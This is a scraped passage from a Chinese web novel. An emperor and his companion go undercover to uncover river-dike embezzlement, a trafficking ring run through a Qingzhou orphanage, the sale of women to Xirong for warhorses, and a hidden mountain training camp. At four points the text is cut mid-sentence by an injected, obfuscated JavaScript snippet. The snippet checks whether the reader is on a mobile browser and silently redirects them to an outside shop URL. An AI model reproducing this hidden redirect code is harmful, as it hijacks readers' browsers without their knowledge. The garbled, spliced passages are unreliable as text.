再次来到河边,江幼宜和谢怀川才发现,河对岸不是一片树林,而是一片山林,众人从小刘村外的桥上绕到对岸,在山林里四处寻找可能藏东西的地方,什么都没发现,既没有可疑的地方,也没有哪里有土翻过的痕迹,只除了一个地方。 “先把人入土为安吧。” 众暗卫刨开刘妈妈父母的坟,果然在里面发现了一个油纸包,一层层打开,果然是几本账册,里面清楚记录着梧桐县历年修河堤的所有支出。 众人沉默着将刘妈妈的尸体与其父母合葬,一块儿崭新的石碑替换了原来的木碑。 谢怀川一脸肃穆:“收拾东西,尽快离开,以免对方再派人来。”这几册账本已经足够定梧桐县令的罪,但他要拿的不只是这小小的县令,他要把修河堤一案从上到下所有涉案人员都缉拿归案!更何况这个县令已经被当作替罪羊抓起来了,他现在要做的是去查青州知州的底细。 再次回到客栈,江幼宜提议道:“我们先找个书铺把这些书卖出去吧,正好也能借此机会在城内转一转,看有没有什么突破口。”既然对方已经派杀手来灭口,很可能已经知道账册落入旁人之手了,李寒月本身就是被对方蓄意卖出去的,又同刘妈妈在村里住了这么一段时间,对方极有可能还会对李寒月下手。 突然之间,有一个模糊的画面在脑海中闪过。 江幼宜冲到隔壁李寒月房间,急切问道:“寒月姐姐,你还记得当初把你从狱中带走的人长什么样子吗?” “人很高壮,络腮胡,看起来很不好惹。” “脸上有疤吗?” 李寒月仔细回忆一番,摇摇头:“没有。” “有没有穿官服?” “没有。” 江幼宜的手腕被人一把握住,只见谢怀川一脸焦急:“你见过?在哪?” “临西府太元州余同县,当时在县衙后门,衙役把一位女囚犯交给了山匪。”当时她第一时间注意力在衙役身上,看到山匪之后注意力在山匪身上,对于那个囚犯的印象十分模糊,直到现在,李寒月与那人相似的遭遇才唤醒了她的记忆。 谢怀川继续追问:“你什么时候碰到的?你怎么知道对方是山匪?” “就在陛下买下我话本故事的时候,当时我的父母和同村人惨遭山匪杀害,我去县衙报官的时候撞见的,带走女囚犯的正是杀害我父母的山匪之一。” “那你呢?你没事吧?” 江幼宜轻轻摇头:“我看到山匪就藏起来了。” 谢怀川心痛不已,他当时正是追着一伙儿山匪的踪迹去到余同县,只是进了余同县却断了踪迹,又临近他加冠礼,群臣等他回京亲政,因此没有多留,没想到当时只有一面之缘的江幼宜竟然就是山匪作案的幸存者,还差点因为报官把自己搭进去。 如果自己当时让暗卫去查一查,把她带回京城安顿,她是不是就不用受这么多苦了。还有锦衣卫是干什么吃的,怎么当初给他的资料里完全没提到她父母和村人葬身山匪之手的事! 这就是谢怀川冤枉锦衣卫了,当时江幼宜离开县衙转去投奔姨母,当地县令生怕事情败露,当晚就派人去了村里,所有的一切全部付之一炬,卷宗上只留下一句:不明原因引发山火,全村皆命丧于此。 “你弄疼我了。”江幼宜挣扎着要把手腕从谢怀川手里拿出来。 谢怀川回神,看到被攥得通红的手腕:“抱歉,我只是……你的头,还疼吗?” 江幼宜揉着手腕,朝谢怀川一笑:“不疼了,早就好了。”随即正色道,“陛下,我怀疑这都是同一伙人做的,我们去县衙附近盯几天,说不定能发现什么。” “你说得对,不过县衙那边太过危险,我让暗卫去盯,你跟我先去街上找书商。” “也好。”自己没有功夫傍身,万一去县衙被人发现就糟了。去街上转转也好,也能打探下这里是否有如那位老奶奶一样遭遇的可怜人,或许从她们身上也能得到一些线索。 江幼宜头戴帷帽,挽着谢怀川的胳膊,伪装成一对恩爱的行商夫妻,出了客栈。 在信息不发达的古代,有两个最快打探消息的途径,一个是去酒楼茶馆,另一个是问当地乞丐。 只是走在街上,江幼宜越看越不对劲,她做亲密状伏在谢怀川耳边:“陛下,这街上没有一个乞丐是正常的吗?” 经此一言,谢怀川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614414|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也反应过来,江南如此富庶之地,都尚有乞丐存在,青州怎会一个没有? “问问便知。” 两人在街上转了半天,进了一家规模适中的书铺。 “请问您是此店掌柜吗?在下是江南来的行商,手上有一批时兴科举参考书要出手,不知贵店有没有兴趣?”谢怀川边打招呼,边从怀里掏出一卷书递给对方。 那人接过书翻阅,点点头:“不错不错,你手上有多少?” “此书按科举试共分四类,乡试、会试各一千五百套,童生试、院试各一千套,总共五千套。” “你等我喊个人,我全收了。” 掌柜朝旁边的伙计低语几声,伙计小跑着出门。 “两位请随我到后院稍坐片刻。” “多谢掌柜。” 两人随掌柜到了后院,谢怀川同掌柜谈起了行商路上的见闻,幸好这些年谢怀川也确实到过不少地方,说起各地特色头头是道。 谢怀川趁着掌柜斟茶的空隙,冲江幼宜使了个眼色。 江幼宜故作天真,问道:“刚刚在街上转了一圈,都没有乞丐,可见青州吏治清明,百姓安乐。” “哈哈,夫人,这你就说对喽,自去岁暴雨致河堤溃塌,确实令不少百姓流离失所,沦为流民乞丐,好在知州大人心善,连夜在城外搭建起粥棚亲自施粥,扩建慈幼局收容无家可归的妇女儿童,号召商户捐粮捐布,洪水退去,还给回户籍地的流民发放路费,是难能一见的好官,现在城中不见乞丐,都是知州大人治下有方啊。” “确实是难得一见的好官。” 伙计喊来的那人也经营一家书铺,跟这个掌柜是堂兄弟,约定好午后到客栈取书,江幼宜和谢怀川婉拒了两人的请客,告辞回了客栈。 “陛下,你说那掌柜说的是真的假的?听起来这青州知州确实像个好官。” “是真是假,一探便知。来人,去慈幼局看看里面到底什么样,那些回户籍地的流民到底有没有拿钱回去。” 午后,书铺掌柜如约前来取书,一手交钱一手交货。 入夜,暗卫前来回禀。 “主子,那慈幼局里只有执勤的衙役,没有旁人,另外,在慈幼局外找到一个鬼鬼祟祟的小孩。”暗卫让到一旁,露出身后一个四五岁的孩子。 那小孩身上穿的衣服并不廉价,但从头到脚都脏兮兮的,只有一双眼睛很明亮,眨也不眨地看着江幼宜和谢怀川。 “小朋友,你是走丢了吗?你叫什么名字?还记得你父母叫什么名字吗?”江幼宜冲小孩招招手。 “我要找哥哥。”小孩站在原地不动,奶声奶气道。 江幼宜走过去蹲在小孩面前:“那你哥哥叫什么名字?现在在什么地方啊?” 小孩摇摇头:“他被人带到那个大房子里去了,我找不到他。” “这个哥哥找到你的那个大房子吗?”她指着暗卫。 小孩点点头,小手捂着发出咕噜噜声响的肚子。 “我先带他去洗漱吃点东西。” 谢怀川看江幼宜牵着小孩儿出门:“去查查这小孩儿的来历,另外去慈幼局看看,里面是不是有密道。”慈幼局只进不出,里面却是空的,必有密道。 30. 幼子 江幼宜让暗卫去帮小朋友买两身衣服,又吩咐客栈小二准备热水,牵着小朋友进了隔壁房间。 “告诉姐姐你的名字好不好?”这小孩肯定不是普通人家的孩子,虽然不知道暗卫也早晚能查到,但知道了小孩和他父母的名字会差得更快。 小孩儿不语,只一味摇头。 她揉了一把小孩乱糟糟的头发:“没关系,不想说就不说。” “我饿。”小孩儿抬头,揉着肚子眼巴巴看向江幼宜。 她掏出手帕,帮小孩儿把脸和手都先擦干净:“来,先吃两块点心。” 得到允许,小孩儿抓起点心吃得狼吞虎咽,像好几天没吃过饭的样子,江幼宜悄悄伸手抹掉眼角的泪痕。 小二把热水送上来,江幼宜帮小孩儿脱衣服洗澡,小孩儿脖子上挂着一块儿玉,虽然小孩儿很快伸手捂住,但江幼宜还是看清了,玉上刻着一个“郑”字。 江幼宜神色如常帮小孩儿洗漱完,又换上一身新衣服,陪小孩儿吃饭,吃着吃着,小孩儿东歪西倒,靠在她身上睡着了。 她刚想把小孩儿抱起来放到床上,一双大手先她一步把小孩抱起来。 看了床上乖巧睡着的孩子,两人轻手轻脚退出房间,回了隔壁。 “我看他身上的玉刻着‘郑’字,应是郑家的孩子,只是不知是否是郑通判家的。” 在她们抵达青州前两日,暗卫曾给她们传信,说青州郑通判惨遭仇家灭门,一家老小无一生还,一夜之间全部葬身火海,青州知州震怒,下令彻查,现今仍没有查到凶手是谁。 江幼宜心中不想相信这个结果,但青州也没有哪个大户姓郑了。或许是郑通判一家早就对此有所预料,将这个孩子藏起来,才让他躲过此劫,可是全家惨死,仅剩一个四五岁的孩子,他还这么小,该怎么活下去呢。 “如果真是郑家的孩子,他口中的哥哥也许知道些什么,我已经让人去慈幼局查看是否有密道了,他们或许将人都通过密道运到某个地方去了,如果能查到这些人的去处,或许能揪出幕后主使。” 青州的慈幼局不止收容无家可归的女子和幼儿,连乞丐也收容,根据书铺掌柜所言,慈幼局中里面男女老少皆有,可实际里面却空空如也。 江幼宜想到自己曾在县衙后门听到的那些话:“这背后到底是什么人,难道就只贪图贩卖人口的利润吗?” “若只是为钱还好对付,怕就怕对方有更大的图谋。”谢怀川的手指在椅子扶手上轻轻敲击,对方已经慢慢露出马脚,他现在万万不能打草惊蛇。 根据暗卫打探回来的消息,郑通判家确实有个四岁的小儿子,大火之后也在郑宅中收敛到尸骨,不过郑小少爷的奶妈也有一个差不多大的儿子,现场只有一具这个年龄的孩童尸骨。 小孩儿自己不肯开口,郑家宅子和尸体被焚毁,已无处查证。江幼宜倾向这个小孩儿就是郑家的小儿子,但是孩子太小了,她也不忍心带他去郑宅试探他的身份,为今之计只有尽快找到那个哥哥。 “主子,那慈幼局下面确实有密道,不止有密道,还有密室,里面关着不少人,属下探听到近期会有人来接货,想来这个货说的应该是这些人。” “没错,之前在余同县,他们说的也是货。” “这几天慈幼局和县衙都盯紧点,一有异动,马上来报。” “是。” “隔壁人醒了。”谢怀川突然道。 江幼宜虽然什么也没听到,但赶紧起身去隔壁,刚走到门口,就听到隔壁房门打开的声音,她加快脚步,到隔壁正好看到小孩出门。 她蹲在小孩儿面前,轻柔问道:“你要去哪儿啊?” “我要去找哥哥。” “你哥哥长什么样子或者哥哥叫什么名字,告诉姐姐,姐姐和这个大哥哥帮你去找好不好?”江幼宜指指旁边站着的谢怀川。 小孩儿看看江幼宜,又看看谢怀川,说:“狗蛋哥哥。” “那狗蛋哥哥多高呀?这么高还是这么高?”对一个四岁的小朋友来说描述长相可能有点难,江幼宜用手比划着问细节。 在江幼宜比划到谢怀川肩膀高度的时候,小孩点点头。 “狗蛋哥哥穿什么颜色的衣服你还记得吗?” 小孩手指戳在自己嘴角:“蓝色的。” 江幼宜忍不住轻轻揉揉小孩柔软的脸颊,夸赞道:“小宝,你太棒了!姐姐和哥哥帮你去找哥哥,你去睡觉,等着哥哥来找你好不好?” “娘亲喊我小宝。” 江幼宜愣了一秒,眼睛一酸,把小宝搂紧怀里,一双小手迟疑着环上她的脖颈,软软的脸颊贴上她的,小小声道:“小宝想娘亲了,娘亲让小宝快跑,哥哥不让小宝去找娘亲。” 她不知道说什么,手不停抚摸着小宝的后背:“小宝乖,小宝很乖。” 肩膀处传来湿意:“小宝是不是再也见不到娘亲了……” 江幼宜一边擦泪一边道:“不会的,不会的。” “他睡着了,给我吧。”谢怀川上手去抱小宝。 小宝手环得更紧,喃喃道:“娘亲……” “算了,还是我把她抱进去吧。”江幼宜托着小宝屁股站起来,一阵踉跄差点摔倒,蹲得时间太久,腿麻了,幸好被谢怀川扶住。 “额,脚麻了……”江幼宜不好意思道,千万别以为是她太虚了,连个四岁的小朋友都抱不稳。 “嗯,我知道,你把他抱紧。” 江幼宜下意识照做,把小宝抱得更紧了些,下一秒天旋地转,她自己被谢怀川抱起来了! 麻了,人彻底麻了…… 她一脸呆滞,从未见过造型如此奇特的公主抱,她在谢怀川怀里,小宝在她怀里,叠罗汉一样。 谢怀川一路把她抱进房里,放在床上,小宝还紧紧靠在她怀里不肯撒手,她坐在床边,只见谢怀川蹲下身,用那双大手一寸一寸帮她捏腿, 麻意和痛意袭来,江幼宜不禁闷哼一声,谢怀川手下动作停顿一秒,接着继续揉捏起来,江幼宜嘴巴闭得死紧,没再泄露一丝声息,气氛逐渐不对劲起来,江幼宜的眼神四处乱瞟,不小心撇到谢怀川通红的耳根和脖颈,悄悄翘起嘴角。 腿上的麻意退去,江幼宜赶紧道:“好了,好了,不用再捏了。” 谢怀川蹲在江幼宜身前,没有起身的意思:“今晚怎么睡?” “什么怎么睡?” 谢怀川目光灼灼,平静道:“你我是夫妻,分房有暴露的风险。” 来青州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614415|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路上日夜兼程,两人都是在马车上轮流休息。到青州第一晚,收到刘妈妈不好的消息,连夜奔驰至小刘村,守夜没睡,现在,谢怀川说分房有暴露的风险。 江幼宜环视房间,屋里只有一张床,没有榻,隔壁房间也是同样的摆设,总不能让皇上打地铺吧。 “我打地铺。” 谢怀川看一眼她怀中的小宝:“小宝离不开你,你忍心让小宝也跟着你一起睡地上吗?这床宽得很,睡三个人也不挤,一起睡床吧,小宝睡中间。” “好吧。” “你去睡里面。” 江幼宜抱着小宝上床,去到里面,怕压到小宝的胳膊,江幼宜把环着她脖颈的小胳膊拿下来,小宝不安地动了几下,在抓到她胸前衣服的时候又恢复安静,人也往她身上凑得更紧,如此,她只能维持面朝床外的侧躺,将谢怀川面部起伏的轮廓看得十分清晰。 谢怀川躺下一秒又起身,将蜡烛吹熄:“睡吧。” 她本以为自己会睡不着,没想到一会儿就睡过去了。 黑暗中,原本平躺的人侧身向里,胳膊隔着被子搭在里侧人身上,重新闭上眼睛。 江幼宜缓缓睁开眼睛,面前是一堵白墙,身后是一堵火热的肉墙,一只大手搭在她的腰上。她挣扎着要起身,身后人声音喑哑,低声道:“别动。” 她感受着臀部格外火热的触感,不敢再动:“小宝呢?” “跟他哥哥在一起。” “他哥哥被救出来了?不会打草惊蛇吗?” “不会。” “怎么救出来的?”江幼宜好奇。 “知州有龙阳之好。” …… “小宝他……” “确实是郑通判的小儿子,这个哥哥是郑夫人好心帮过的流民,后来拿着县衙发放的路费回户籍地,半途遇到劫匪,他因为去河边取水侥幸逃过一劫,一路乞讨打算回城报官的,郑通判被灭门那天他刚好在后门撞到郑夫人往外送小宝,他带小宝躲到了城外的破庙里,进城讨吃食的时候被官兵抓进了慈幼局,那里面有他当时滞留在州城的同乡。” “这么说,这个知州果然有问题!郑家的事会跟他有关系吗?” “通判除了辅佐州政,还有监察之责,知州小动作这么多,通判不可能不知情,但现在还没有证据能证明郑家的事跟他有关系。但只慈幼局这一项就足以治知州的罪了,不过现在还不是时候,背后之人不止祸害了这一处的百姓,我们得顺藤摸瓜,把这条线上的人全部一锅端了才行。” “对方还没有来人吗?” “会来的,再等等。” “陛下,日上三竿了,你还不起吗?” “说了要喊我夫君,你一次都没喊过,旁人会疑心我们的。” “这里只有我们两个人。” “我不相信你看不出来,为什么一直回避我的心意?” 江幼宜沉默不语,她如何能要求一个皇帝与她一生一世一双人呢? “罢了,我不会强求你什么,但我希望你能正视我的心意,好好考虑一下我。” 话落,身后的热源起身离开,清冷的空气钻入被窝,半晌,江幼宜坐起来,朝床外看了一眼。 “你在干什么!” 31. 边境 “换衣服啊。”谢怀川背对着江幼宜,慢条斯理穿上中衣。 江幼宜从张开的五指缝中悄悄偷看谢怀川的身材,虎背狼腰倒三角,屁股看起来也翘翘的,没想到谢怀川身材还挺不错的。 谢怀川突然转身,她连忙把指缝合上。 男人的脚步声越来越近,一步一步像踩在她的心跳上,头顶传来一声轻笑,捂着眼睛的双手被人拿开:“喜欢看?给你看个够。” 开屏就是腹肌暴击,近到江幼宜的脸都能感受到对面人肌肤的温度,中衣松松垮垮穿在男人身上,没有系带子,视线抬升,是饱满的胸肌和性感的喉结。 突然,她的眼睛被一只火热的手掌遮住,耳边只剩粗重的呼吸,震耳欲聋,后知后觉的热意攀升至脸颊,蔓延到耳后。 “流氓。” “咳,这只能说明我是个正常的男人。” 江幼宜闭着眼睛躺下,一把将被子拉起来蒙住头,透过被子传出闷闷的声音:“你快点穿好衣服出去。” 一阵窸窸窣窣的声音之后,男人开门离开,江幼宜悄悄从被子里探出头,屋子里没人了,她拿手在脸颊边扇风,以消解脸上的热意,毕竟是个才二十岁正当年的小伙子,理解,理解,个屁!一早上两次,这真正常吗?扇风的手不由扇得更快了。 “主子,就是今晚!” “好,一定要盯紧他们,看看他们要把人运去哪里,跟好了。”谢怀川吩咐完手下,转头对江幼宜道,“我们先出城等他们。” 江幼宜放下筷子,看了一眼正在喂小宝吃饭的狗蛋:“他们两个和寒月姐姐怎么办?”幕后主使还没有查出来,青州知州暂时不能处理,留他们三个在青州很危险。 一只小手抓住她的衣角,江幼宜看去,圆溜溜的大眼睛看着她,生怕自己被丢下,狗蛋垂着头,好似已经认命,什么都不关心,拿着勺子在碗里不停地搅来搅去。 “能不能让他们去稷下书院,狗蛋正是要上学的年纪,小宝也已经开蒙,应该继续学习,寒月姐姐知书明礼,在书院里想读书也行,进编辑部帮忙也行,如何?” “只要他们自己愿意,都依你。” 江幼宜突然有点开不了口,论起来,这些人都是知州渎职的受害者,眼下已经有知州知法犯法的罪证,却因为要等更大的正义,让受害者暂避,让违法者继续逍遥法外,这是何等的残忍。 “我愿意去读书。”狗蛋突然抬起头,“我想当一个好官,真正的好官!” “小宝也要。” 江幼宜把小宝抱起来放在自己腿上:“小宝想要什么?” “小宝也要读书,小宝要变成爹爹。” 江幼宜将小宝额前的发丝整理好:“好,姐姐送你们去读书。” 寒月自是也没有什么意见,一行人先出了州城,在一个到临州必经的小镇落脚,等着暗卫的消息。 “主子,他们没走官道,一路往西去了。” “还有所顾忌,看来这群人也还没到只手遮天的地步,你们跟着,我先去趟书院再同你们会和。” “是。” 再次回到稷下书院,时间已经过去将近两个月,天气越发寒冷,江幼宜披着裘衣,将三人托付给李太傅和表哥。 小宝攥着她的衣服迟迟不肯松手,嘴角向下弯曲,眼中噙满泪水,似乎一眨眼就要流下来。 江幼宜心口酸涩得厉害,蹲下身将小宝揽进怀里:“小宝乖,好生在这里读书,等我忙完就来看你好不好?” 小宝闷闷地在怀里点点头:“嗯,一定要来。” “一定来,我们来拉钩。”她用小手指勾住小宝的手指,轻轻晃一晃,“好了,去吧。” 小宝顶着一双红彤彤的眼睛,牵着狗蛋的手,一步三回头,身影逐渐消失在书院里。 “如果实在舍不得,等我们回京,可以把他带走。” “京城,安全吗?”谢怀川和世家的斗争会不会波及到小宝。 “还不至于护不住一个孩子。” 江幼宜和谢怀川没有在书院停留,把人放下,又带着一批书出发,这批书中既有平装版,还有精装版,以及新刊印的话本,她们沿着暗卫一路留下的记号,一路西行。 她们从临东府一路穿过临北府、临西府,一路进了陇西府,再往西,可就是西戎的地界了,谢怀川面色沉沉。 当年人口买卖最泛滥的时候,就是把人卖去了西戎。 “主子,他们分开了,男人一队女人一队,男人往西南去了,女人还在往西。” 西南? 谢怀川沉声道:“盯好往西的,如果真是要将人贩往西戎,交易结束后把西戎来人都扣下,跟踪卖家去向。至于那些男人,先看看他们要把人运到哪里去。”他心中其实已有猜测。 江幼宜心中一惊,这些人竟然要将这么多女子卖到西戎去!简直泯灭人性,丧尽天良。这还只是他们看到的一角,在他们没有看到的时候,有多少可怜的女子已经被这群人卖出去了。 当然,那群被一路带来的男子相比也好过不到哪里去。 早在进入陇西府的时候,谢怀川就已传信给北境戍边的守将,令其秘密派兵前来相助。 来人穿着羊裘,年龄目测不到四十,十分高大,古铜色的皮肤,眉间一道浅疤增添一丝野性,腰间配着长刀,一撩衣袍单膝下跪:“末将卜溪风拜见陛下。” 谢怀川听到这个名字愣了两秒:“你没死?” “幸得陛下保佑,末将得以大难不死。” “没死为什么不传信回京?” 沉默片刻,卜溪风道:“陛下恕罪,末将京中已无亲人。” 谢怀川深深看了卜溪风一眼:“有人贩卖我大宁百姓,我跟踪至此,对方极有可能将人卖往西戎,我需要你在卖方走后把买方秘密控制起来。另外,五百人不够,我还需要两千人。” “竟有此事!末将领命,这就去传令,请将军再调两千人。” 江幼宜看着单膝跪地的男人,这个人,有故事。 他们跟着拐卖女子的一行人一路到了大宁与西戎的边界处,进了两国互市的榷场,对方看着与此处守将十分相熟,守将没有检查对方车上的货物,只打了声招呼就把人放进去了。 江幼宜和谢怀川假扮成边境百姓,挎着空篮子排队进去,与同样假扮成百姓的暗卫和士兵对视一眼,分成好几队摸查这里的守备情况。 那一行人押着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614416|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几十位女子进了一处大帐,随后其中两人抓着两个女子出来,颇为粗鲁地带着对方进入榷场最大的一处大帐。 江幼宜和谢怀川对视一眼,悄悄避开士兵凑到大帐后面。 “多亏大人行方便,这是这次的礼物。” “这次的货看着成色没有上次的好啊,病怏怏的,你不会拿次品糊弄我呢吧?” “不敢,所有的货都在老地方,大人如果不满意,尽管去挑。只是这次路途遥远,天气寒凉,这些人难免有些风寒。” “原是如此,不过你们也是,怎能如此不怜惜美人,天气寒凉也不知道给人多穿件衣服,两位美人来,我这儿有炭盆,快来取取暖。” “我们是商人,自然要追求利益最大化,若给每个人再花钱买衣服,岂不是赔本的买卖,在下就不打扰大人的好事了,告退。” 两人出了大帐,向着关押女子的大帐走去,许是为了方便,大帐中并没有守卫,谢怀川从怀里摸出匕首,观察到四处无人,一个闪身进了大帐。 江幼宜紧随其后,进大帐之后站在门边往外观察。 帐中人正背对着门口急着给两个女子松绑,丝毫没注意到有人进来。 肥硕的老男人□□着解开绑着女子口的布巾,先听到对方一声惊恐的叫声,还没来得及做什么,随后感受到脖子上的凉意。 谢怀川在老男人身后用匕首抵住他的脖子,轻声道:“不要出声,否则让你血溅三尺。” 老男人双手举起,忙不迭点头。 江幼宜朝两个女子比出“嘘”的姿势,在门口的缝隙往外观察,刚刚从大帐出去的两个男人听到女子的叫声,只是心照不宣地朝对方笑笑,并没有怀疑什么,士兵也习以为常,并没有靠过来。 她放心地捡起地上的绳子和布巾,如法炮制将老男人封住口,绑了起来。 “姑娘别怕,我们是来救你们的,不要出声。” 两个姑娘惊魂未定地点头。 注意到两人衣着单薄,江幼宜把榻上搭着的虎皮毯子给两人披上:“过来烤烤火。”看到桌子上放着一盘点心,她推到两人面前,“饿了吧,吃。” 点心入口的瞬间,两位女子不约而同落起泪来。 “放心,这样的经历,以后不会再有了。” “主子,有一批西戎人带着大批马进了榷场,是上好的战马。” “上好的战马,用我大宁女子的性命去换战马,好啊,真是好啊。”谢怀川愤怒地瞪着被绑的老男人,匕首在对方脖子的大动脉上比划。 老男人惊恐摇头:“呜呜呜,呜呜呜。” “别,这个人肯定知道不少事,别杀他,而且就这么让他死了简直是便宜他,我看不如把他交给锦衣卫指挥使汪大人,想来以汪大人的手段,这位老大人连小时候尿过几次裤子都交代得清清楚楚。”江幼宜一边说,一边恶狠狠看着老男人。 看着这人被吓得抖如筛糠,大冬天额头冒汗,江幼宜心中一阵快意,但是不够,远远不够,对方不止给人贩子提供方便,让对方把女子卖至他国,自己更是视女子为玩物,不知毁了多少人。她才只是对他放了一句狠话,他就怕成这样,果然是刀子不落在自己身上不知道疼! 32. 上山 “主子,那批人带着战马往西南去了。” “卜副将那边情况如何?” “已经将那批西戎商人控制起来了。” “嗯,让他把榷场的守卫都换了吧,这个边境已经漏成筛子了。” 江幼宜:“这样会不会操之过急了,我们还没摸清楚对方到底是什么人。” “不会,他们不会有再来的机会了。” 江幼宜犹豫片刻,开口:“我想去西戎,将那些被卖出去的女子带回来。” “不可,这太危险了。” “正是因为危险我才更要去,那些女子在异国他乡更危险。” “能不能等我把这幕后之人解决之后再去,到时候我陪你一起。” “陛下,迟一日,这些女子就煎熬一日,甚至要付出生命的代价,这是我深思熟虑之后做出的决定,绝不是头脑一热,如果陛下担心我的安危,就请多派几人跟着我。” “你打算怎么做?” “以身入局。”战马是何等重要的战略物资,西戎商人能拿出上好的战马来交易女子,想来其背后之人身份地位必不会低,由她假扮成被拐女子,跟着西戎商人混进去,定能探查到不少女子去向。 “你!”谢怀川的手抬起又放下,最终道,“我让卜副将跟着你,万事小心,一切以自己的安危为主,那些女子如果实在救不出来也不要勉强,或是用利益交换,或是以武力逼迫,总之还有别的办法,一定要先保护好自己可以吗?” 江幼宜点点头:“我会的。” 为了防止西戎商人反水,西戎商人的儿子和几位商队成员被留在了大宁境内,卜溪风和几位士兵伪装成商人混入商队,其余人和几个暗卫在暗中尾随。 本来已经为此次只带去一名女子编好了借口,没想到被救下的女子中有几人勇敢地站出来,要同江幼宜一起去西戎救出受难同胞。 临行前,谢怀川塞给江幼宜一个锦囊:“必要时可以找她求助,千万小心。” 江幼宜一路研究着西戎皇室和朝臣的关系,与同行的几位女子共同商量计策。 这个西戎商人背后果然不是凡人,而是西戎国王的第三子,与西戎国王一脉相承的贪财好色。 江幼宜推翻了自己原来的打算,这个三王子好色愚蠢,接近他不是个好主意,到时候人救不出来不说,还可能把自己和这几个女子搭进去。 她看着西戎皇室错综复杂的关系,心中有一个主意渐渐成型。 谢怀川目睹西戎商人的车队进入西戎境内,逐渐消失,调转马头,看向西南方向:“追!” “主子,都进山了。” 十日后,谢怀川策马沿暗卫留下的记号来到一座山脚下,这座连绵起伏的山脉跨越三国,东接大宁,北临西戎,南靠南蛮。据暗卫探查,被带走的男人和战马都进了这座山。 这座山虽然是三国交界处,但西戎境内是悬崖,南蛮境内有迷障,两国人无法轻易通过这座山进入大宁境内,对大宁来说此处易守难攻,因此这里并无太多兵力把守。 谢怀川拿出地图,仔细查看此处布局,将地图一处指给北境新派来的守将吴进达,吴进达先是惊讶,随后了然,派出两支小队秘密前往。 另有几队士兵跟随暗卫一起上山摸查,两千多人无论是进村还是进城目标都太大,谢怀川干脆带人进山,找了几处山洞驻扎下来。 十二月的天气已经相当寒冷,还好他们带了几车从榷场征用的毛皮,本是用来做商队伪装用的,现在刚好拿来御寒。山洞口用木板做成的门挡住,再用毛皮遮住缝隙,阻挡了外面的风雪,自然也挡住了光线,黑漆漆的山洞内燃起火把,映亮谢怀川心事重重的脸。 “陛下可是在担心有人意图谋反?”有人私自同西戎交易战马,无论如何都不是什么好信号,作为一个贴心的下属,吴进达决定主动替陛下分忧,“陛下不用担心,现在北境并无战事,我镇北军上下全部听从陛下调遣。” “并非如此。”他只是在担心江幼宜,不知道她现在走到哪里了,冷不冷,饿不饿,马上要过年了,西戎与他们大宁节日和习俗都不一样,不知道她适不适应,有没有机会吃年夜饭。 至于是否有人意图谋反,无论有没有,他都不会畏惧。 “主子……”一暗卫俯身在谢怀川耳边说了几句,随后起身等待谢怀川指示。 吴进达看到谢怀川脸色骤变,不由问道:“陛下,发生了何事?” “这山上有座练兵场。” 吴进达追问:“这!有多少人?”如果人数远超两千人,还是要尽快上报将军,让将军再派人来支援。 此处朝廷并没有派兵把守,何来练兵场?虽然早在榷场里的西戎战马被带上山的时候谢怀川就有所猜测,但事实真的摆在眼前,他还是吃惊于背后之人的胆大妄为。 “天寒地冻,里面没有练兵,目前还不知有多少人,你带一小队人随我前去探探虚实。” “陛下,尚不知敌方底细,十分危险,还是让我先带人前去吧。” 谢怀川抬手制止:“朕要亲自前去。” 一行人跟着暗卫穿过密集的树林,到了另一个山头,此处的植被尽数被摧毁,裸露出一大片空地,被圈起来做了练兵场。练兵场内并无多少士兵,只有几小队人懒懒散散在巡逻,只能听到不时传来士兵喝酒划拳的声音,门口的守卫两个守卫背靠在后面的树桩子上,看起来是在打盹。 “陛下,这些人看起来如此松散,即使兵力倍数于我也有一战之力!”本来吴进达还在担心对方实力过于强大,自己带的这些人拿不下,现在看来,真是高估对方了。 谢怀川摇摇头:“你仔细看他们的武器。” 吴进达闻言仔细去观察对方的武器,倒吸一口凉气:“大爷的,怎得比我们镇北军装备得还好,还都是新的,这些武器给我们镇北军,早把北狄人赶到大漠深处去了!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614417|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 